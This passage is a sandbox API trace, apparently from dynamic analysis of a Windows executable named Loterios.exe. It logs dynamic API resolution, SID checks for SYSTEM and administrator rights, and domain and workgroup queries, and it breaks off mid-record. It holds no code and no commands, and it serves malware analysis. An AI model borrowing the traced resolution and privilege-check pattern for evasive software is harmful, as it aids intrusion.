hHeap=0x2180000) returned 1 [0226.565] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xd) returned 0x21ff6b0 [0226.565] GetProcAddress (hModule=0x74560000, lpProcName="LoadResource") returned 0x74575b00 [0226.565] lstrlenA (lpString="LoadResource") returned 12 [0226.565] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.565] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xf) returned 0x21ff6b0 [0226.566] GetProcAddress (hModule=0x74560000, lpProcName="CreateProcessW") returned 0x74574610 [0226.566] lstrlenA (lpString="CreateProcessW") returned 14 [0226.566] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.566] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x17) returned 0x21ff6b0 [0226.566] GetProcAddress (hModule=0x74560000, lpProcName="CreateProcessInternalW") returned 0x745745f0 [0226.566] lstrlenA (lpString="CreateProcessInternalW") returned 22 [0226.566] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.566] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x1b) returned 0x21ff6b0 [0226.566] GetProcAddress (hModule=0x74560000, lpProcName="InterlockedCompareExchange") returned 0x745773a0 [0226.566] lstrlenA (lpString="InterlockedCompareExchange") returned 26 [0226.566] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.566] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x11) returned 0x21ff6b0 [0226.566] GetProcAddress (hModule=0x74560000, lpProcName="GetThreadContext") returned 0x74575580 [0226.566] lstrlenA (lpString="GetThreadContext") returned 16 [0226.566] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.566] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xa) returned 0x21ff6b0 [0226.567] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x777e0000 [0226.568] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x19) returned 0x21ff6c8 [0226.568] GetProcAddress (hModule=0x777e0000, lpProcName="ZwQueryInformationThread") returned 0x77851f60 [0226.568] lstrlenA (lpString="ZwQueryInformationThread") returned 24 [0226.568] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6c8 | out: hHeap=0x2180000) returned 1 [0226.568] lstrlenA (lpString="ntdll.dll") returned 9 [0226.568] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.568] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xe) returned 0x21ff6b0 [0226.568] GetProcAddress (hModule=0x777e0000, lpProcName="RtlGetVersion") returned 0x7780fff0 [0226.568] lstrlenA (lpString="RtlGetVersion") returned 13 [0226.568] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.568] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xd) returned 0x21ff6b0 [0226.568] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x77230000 [0226.568] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x16) returned 0x21ff6c8 [0226.568] GetProcAddress (hModule=0x77230000, lpProcName="AdjustTokenPrivileges") returned 0x7724ffa0 [0226.568] lstrlenA (lpString="AdjustTokenPrivileges") returned 21 [0226.568] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6c8 | out: hHeap=0x2180000) returned 1 [0226.568] lstrlenA (lpString="advapi32.dll") returned 12 [0226.568] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.568] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xe) returned 0x21ff6b0 [0226.569] GetProcAddress (hModule=0x77230000, lpProcName="RegOpenKeyExA") returned 0x7724f210 [0226.569] lstrlenA (lpString="RegOpenKeyExA") returned 13 [0226.569] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.569] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x10) returned 0x21ff6b0 [0226.569] GetProcAddress (hModule=0x77230000, lpProcName="RegCreateKeyExA") returned 0x7724f560 [0226.569] lstrlenA (lpString="RegCreateKeyExA") returned 15 [0226.569] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.569] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x11) returned 0x21ff6b0 [0226.569] GetProcAddress (hModule=0x77230000, lpProcName="RegQueryInfoKeyA") returned 0x7724fe20 [0226.569] lstrlenA (lpString="RegQueryInfoKeyA") returned 16 [0226.569] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.569] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xe) returned 0x21ff6b0 [0226.569] GetProcAddress (hModule=0x77230000, lpProcName="RegEnumValueA") returned 0x77251940 [0226.569] lstrlenA (lpString="RegEnumValueA") returned 13 [0226.569] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.569] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xe) returned 0x21ff6b0 [0226.569] GetProcAddress (hModule=0x77230000, lpProcName="RegEnumKeyExA") returned 0x77251960 [0226.569] lstrlenA (lpString="RegEnumKeyExA") returned 13 [0226.570] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.570] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xf) returned 0x21ff6b0 [0226.570] GetProcAddress (hModule=0x77230000, lpProcName="RegSetValueExA") returned 0x7724ffc0 [0226.570] lstrlenA (lpString="RegSetValueExA") returned 14 [0226.570] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.570] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x11) returned 0x21ff6b0 [0226.570] GetProcAddress (hModule=0x77230000, lpProcName="RegQueryValueExA") returned 0x7724f020 [0226.570] lstrlenA (lpString="RegQueryValueExA") returned 16 [0226.570] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.570] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xc) returned 0x21ff6b0 [0226.570] GetProcAddress (hModule=0x77230000, lpProcName="RegCloseKey") returned 0x7724ed60 [0226.570] lstrlenA (lpString="RegCloseKey") returned 11 [0226.570] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.570] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x10) returned 0x21ff6b0 [0226.570] GetProcAddress (hModule=0x77230000, lpProcName="RegDeleteValueA") returned 0x772507a0 [0226.570] lstrlenA (lpString="RegDeleteValueA") returned 15 [0226.570] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.570] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x19) returned 0x21ff6b0 [0226.570] GetProcAddress (hModule=0x77230000, lpProcName="AllocateAndInitializeSid") returned 0x7724f440 [0226.571] lstrlenA (lpString="AllocateAndInitializeSid") returned 24 [0226.571] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.571] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x11) returned 0x21ff6b0 [0226.571] GetProcAddress (hModule=0x77230000, lpProcName="SetEntriesInAclA") returned 0x772536e0 [0226.571] lstrlenA (lpString="SetEntriesInAclA") returned 16 [0226.571] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.571] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x16) returned 0x21ff6b0 [0226.571] GetProcAddress (hModule=0x77230000, lpProcName="SetNamedSecurityInfoA") returned 0x772534a0 [0226.571] lstrlenA (lpString="SetNamedSecurityInfoA") returned 21 [0226.571] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.571] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x11) returned 0x21ff6b0 [0226.571] GetProcAddress (hModule=0x77230000, lpProcName="SetFileSecurityW") returned 0x77250920 [0226.571] lstrlenA (lpString="SetFileSecurityW") returned 16 [0226.571] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.571] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x8) returned 0x21ff6b0 [0226.571] GetProcAddress (hModule=0x77230000, lpProcName="FreeSid") returned 0x7724fa80 [0226.571] lstrlenA (lpString="FreeSid") returned 7 [0226.571] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.571] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x12) returned 0x21ff6b0 [0226.572] GetProcAddress (hModule=0x77230000, lpProcName="LookupAccountSidA") returned 0x772750b0 [0226.572] lstrlenA (lpString="LookupAccountSidA") returned 17 [0226.572] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.572] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x12) returned 0x21ff6b0 [0226.572] GetProcAddress (hModule=0x77230000, lpProcName="LookupAccountSidW") returned 0x7724f100 [0226.572] lstrlenA (lpString="LookupAccountSidW") returned 17 [0226.572] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.572] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x15) returned 0x21ff6b0 [0226.572] GetProcAddress (hModule=0x77230000, lpProcName="CreateProcessAsUserW") returned 0x77250690 [0226.572] lstrlenA (lpString="CreateProcessAsUserW") returned 20 [0226.572] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.572] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xc) returned 0x21ff6b0 [0226.572] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x74720000 [0226.572] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xe) returned 0x21ff6c8 [0226.572] GetProcAddress (hModule=0x74720000, lpProcName="ShellExecuteW") returned 0x748842e0 [0226.572] lstrlenA (lpString="ShellExecuteW") returned 13 [0226.573] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6c8 | out: hHeap=0x2180000) returned 1 [0226.573] lstrlenA (lpString="shell32.dll") returned 11 [0226.573] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.573] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xb) returned 0x21ff6b0 [0226.573] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76850000 [0226.573] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xc) returned 0x21ff6c8 [0226.573] GetProcAddress (hModule=0x76850000, lpProcName="EnumWindows") returned 0x7686a3c0 [0226.573] lstrlenA (lpString="EnumWindows") returned 11 [0226.573] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6c8 | out: hHeap=0x2180000) returned 1 [0226.573] lstrlenA (lpString="user32.dll") returned 10 [0226.573] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.573] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xc) returned 0x21ff6b0 [0226.573] LoadLibraryA (lpLibFileName="shlwapi.dll") returned 0x76bd0000 [0226.573] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x9) returned 0x21ff6c8 [0226.573] GetProcAddress (hModule=0x76bd0000, lpProcName="StrStrIA") returned 0x76be8370 [0226.573] lstrlenA (lpString="StrStrIA") returned 8 [0226.573] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6c8 | out: hHeap=0x2180000) returned 1 [0226.574] lstrlenA (lpString="shlwapi.dll") returned 11 [0226.574] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.574] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x9) returned 0x21ff6b0 [0226.574] GetProcAddress (hModule=0x76bd0000, lpProcName="StrStrIW") returned 0x76be4390 [0226.574] lstrlenA (lpString="StrStrIW") returned 8 [0226.574] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.574] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x9) returned 0x21ff6b0 [0226.574] GetProcAddress (hModule=0x76bd0000, lpProcName="StrCmpIW") returned 0x76be1660 [0226.574] lstrlenA (lpString="StrCmpIW") returned 8 [0226.574] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.574] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xd) returned 0x21ff6b0 [0226.574] GetProcAddress (hModule=0x76bd0000, lpProcName="PathCombineA") returned 0x76bebf40 [0226.574] lstrlenA (lpString="PathCombineA") returned 12 [0226.574] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.574] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xd) returned 0x21ff6b0 [0226.574] GetProcAddress (hModule=0x76bd0000, lpProcName="PathCombineW") returned 0x76be8890 [0226.574] lstrlenA (lpString="PathCombineW") returned 12 [0226.574] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.574] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xf) returned 0x21ff6b0 [0226.575] GetProcAddress (hModule=0x76bd0000, lpProcName="PathMatchSpecA") returned 0x76bec2a0 [0226.575] lstrlenA (lpString="PathMatchSpecA") returned 14 [0226.575] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.575] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xf) returned 0x21ff6b0 [0226.575] GetProcAddress (hModule=0x76bd0000, lpProcName="PathMatchSpecW") returned 0x76bec300 [0226.575] lstrlenA (lpString="PathMatchSpecW") returned 14 [0226.575] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.575] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x13) returned 0x21ff6b0 [0226.575] GetProcAddress (hModule=0x76bd0000, lpProcName="PathUnquoteSpacesW") returned 0x76be4a50 [0226.575] lstrlenA (lpString="PathUnquoteSpacesW") returned 18 [0226.575] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.575] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x9) returned 0x21ff6b0 [0226.575] GetProcAddress (hModule=0x76bd0000, lpProcName="StrTrimW") returned 0x76be7300 [0226.575] lstrlenA (lpString="StrTrimW") returned 8 [0226.575] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.575] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xa) returned 0x21ff6b0 [0226.575] GetProcAddress (hModule=0x76bd0000, lpProcName="StrCmpNIA") returned 0x76beca70 [0226.575] lstrlenA (lpString="StrCmpNIA") returned 9 [0226.575] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.575] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x8) returned 0x21ff6b0 [0226.575] GetProcAddress (hModule=0x76bd0000, lpProcName="StrStrW") returned 0x76be7850 [0226.576] lstrlenA (lpString="StrStrW") returned 7 [0226.576] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0226.576] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xd) returned 0x21ff6b0 [0226.576] LoadLibraryA (lpLibFileName="setupapi.dll") returned 0x76430000 [0227.634] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x16) returned 0x21ff6c8 [0227.634] GetProcAddress (hModule=0x76430000, lpProcName="SetupDiEnumDeviceInfo") returned 0x76448a60 [0227.634] lstrlenA (lpString="SetupDiEnumDeviceInfo") returned 21 [0227.634] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6c8 | out: hHeap=0x2180000) returned 1 [0227.634] lstrlenA (lpString="setupapi.dll") returned 12 [0227.634] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0227.634] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x1d) returned 0x21ff6b0 [0227.634] GetProcAddress (hModule=0x76430000, lpProcName="SetupDiDestroyDeviceInfoList") returned 0x76448640 [0227.634] lstrlenA (lpString="SetupDiDestroyDeviceInfoList") returned 28 [0227.634] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0227.634] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x15) returned 0x21ff6b0 [0227.634] GetProcAddress (hModule=0x76430000, lpProcName="SetupDiGetClassDevsA") returned 0x76458af0 [0227.634] lstrlenA (lpString="SetupDiGetClassDevsA") returned 20 [0227.634] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0227.634] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x22) returned 0x21ff6b0 [0227.635] GetProcAddress (hModule=0x76430000, lpProcName="SetupDiGetDeviceRegistryPropertyA") returned 0x764580f0 [0227.635] lstrlenA (lpString="SetupDiGetDeviceRegistryPropertyA") returned 33 [0227.635] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6b0 | out: hHeap=0x2180000) returned 1 [0227.635] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0227.635] GetCurrentProcessId () returned 0xe40 [0227.635] GetTickCount () returned 0x117987a [0227.635] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x412140, nSize=0x105 | out: lpFilename="C:\\BlotRots\\Loterios.exe" (normalized: "c:\\blotrots\\loterios.exe")) returned 0x18 [0227.635] GetCurrentProcess () returned 0xffffffff [0227.635] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19f304 | out: TokenHandle=0x19f304*=0x230) returned 1 [0227.635] GetTokenInformation (in: TokenHandle=0x230, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x19f2e4 | out: TokenInformation=0x0, ReturnLength=0x19f2e4) returned 0 [0227.635] GetLastError () returned 0x7a [0227.635] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x24) returned 0x21ff6b0 [0227.635] GetTokenInformation (in: TokenHandle=0x230, TokenInformationClass=0x1, TokenInformation=0x21ff6b0, TokenInformationLength=0x24, ReturnLength=0x19f300 | out: TokenInformation=0x21ff6b0, ReturnLength=0x19f300) returned 1 [0227.635] CloseHandle (hObject=0x230) returned 1 [0227.635] AllocateAndInitializeSid (in: pIdentifierAuthority=0x19f2f8, nSubAuthorityCount=0x1, nSubAuthority0=0x12, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x19f300 | out: pSid=0x19f300*=0x73bd00*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12)) returned 1 [0227.635] EqualSid (pSid1=0x21ff6b8*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xb4)), pSid2=0x73bd00*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12)) returned 0 [0227.636] GetCurrentThread () returned 0xfffffffe [0227.636] OpenThreadToken (in: ThreadHandle=0xfffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x19f2dc | out: TokenHandle=0x19f2dc*=0x0) returned 0 [0227.636] GetLastError () returned 0x3f0 [0227.636] GetCurrentProcess () returned 0xffffffff [0227.636] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19f2dc | out: TokenHandle=0x19f2dc*=0x230) returned 1 [0227.636] GetTokenInformation (in: TokenHandle=0x230, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x19f2cc | out: TokenInformation=0x0, ReturnLength=0x19f2cc) returned 0 [0227.636] GetLastError () returned 0x7a [0227.636] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x140) returned 0x21ff6e0 [0227.636] GetTokenInformation (in: TokenHandle=0x230, TokenInformationClass=0x2, TokenInformation=0x21ff6e0, TokenInformationLength=0x140, ReturnLength=0x19f2f4 | out: TokenInformation=0x21ff6e0, ReturnLength=0x19f2f4) returned 1 [0227.636] AllocateAndInitializeSid (in: pIdentifierAuthority=0x19f2ec, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x19f300 | out: pSid=0x19f300*=0x73bd00*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0227.636] EqualSid (pSid1=0x21ff754*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xb4)), pSid2=0x73bd00*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 0 [0227.636] EqualSid (pSid1=0x21ff770*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0), pSid2=0x73bd00*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 0 [0227.636] EqualSid (pSid1=0x21ff77c*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x72), pSid2=0x73bd00*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 0 [0227.636] EqualSid (pSid1=0x21ff788*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x73bd00*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0227.636] CloseHandle (hObject=0x230) returned 1 [0227.636] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6e0 | out: hHeap=0x2180000) returned 1 [0227.636] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xd) returned 0x21ff6e0 [0227.636] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xf) returned 0x21ff6f8 [0227.636] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74560000 [0227.636] lstrlenA (lpString="kernel32.dll") returned 12 [0227.636] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6e0 | out: hHeap=0x2180000) returned 1 [0227.637] GetProcAddress (hModule=0x74560000, lpProcName="GetProcAddress") returned 0x745751b0 [0227.637] lstrlenA (lpString="GetProcAddress") returned 14 [0227.637] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6f8 | out: hHeap=0x2180000) returned 1 [0227.637] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xd) returned 0x21ff6e0 [0227.637] LoadLibraryA (lpLibFileName="netapi32.dll") returned 0x74060000 [0227.817] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x11) returned 0x21ff6f8 [0227.817] GetProcAddress (hModule=0x74060000, lpProcName="NetApiBufferFree") returned 0x740517c0 [0228.073] lstrlenA (lpString="NetApiBufferFree") returned 16 [0228.073] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6f8 | out: hHeap=0x2180000) returned 1 [0228.073] lstrlenA (lpString="netapi32.dll") returned 12 [0228.074] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6e0 | out: hHeap=0x2180000) returned 1 [0228.074] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xc) returned 0x21ff6e0 [0228.074] GetProcAddress (hModule=0x74060000, lpProcName="NetUserEnum") returned 0x74033970 [0228.232] lstrlenA (lpString="NetUserEnum") returned 11 [0228.232] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6e0 | out: hHeap=0x2180000) returned 1 [0228.232] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0xd) returned 0x21ff6e0 [0228.232] GetProcAddress (hModule=0x74060000, lpProcName="NetGetDCName") returned 0x7401db20 [0228.845] lstrlenA (lpString="NetGetDCName") returned 12 [0228.845] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6e0 | out: hHeap=0x2180000) returned 1 [0228.845] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x16) returned 0x21ff6e0 [0228.845] GetProcAddress (hModule=0x74060000, lpProcName="NetGetJoinInformation") returned 0x73ff3060 [0229.824] lstrlenA (lpString="NetGetJoinInformation") returned 21 [0229.824] HeapFree (in: hHeap=0x2180000, dwFlags=0x0, lpMem=0x21ff6e0 | out: hHeap=0x2180000) returned 1 [0229.825] NetGetDCName (in: servername=0x0, domainname=0x0, bufptr=0x19ff3c | out: bufptr=0x19ff3c) returned 0x995 [0229.836] NetGetJoinInformation (in: lpServer=0x0, lpNameBuffer=0x19ff3c, BufferType=0x19ff34 | out: lpNameBuffer=0x19ff3c*="WORKGROUP", BufferType=0x19ff34) returned 0x0 [0229.863] lstrlenW (lpString="WORKGROUP") returned 9 [0229.863] RtlAllocateHeap (HeapHandle=0x2180000, Flags=0x8, Size=0x14) returned 0x21ff6e0 [0229.863] NetApiBufferFree (Buffer=0x715ec8) returned 0x0 [0229.863] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x21ff6b8*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, 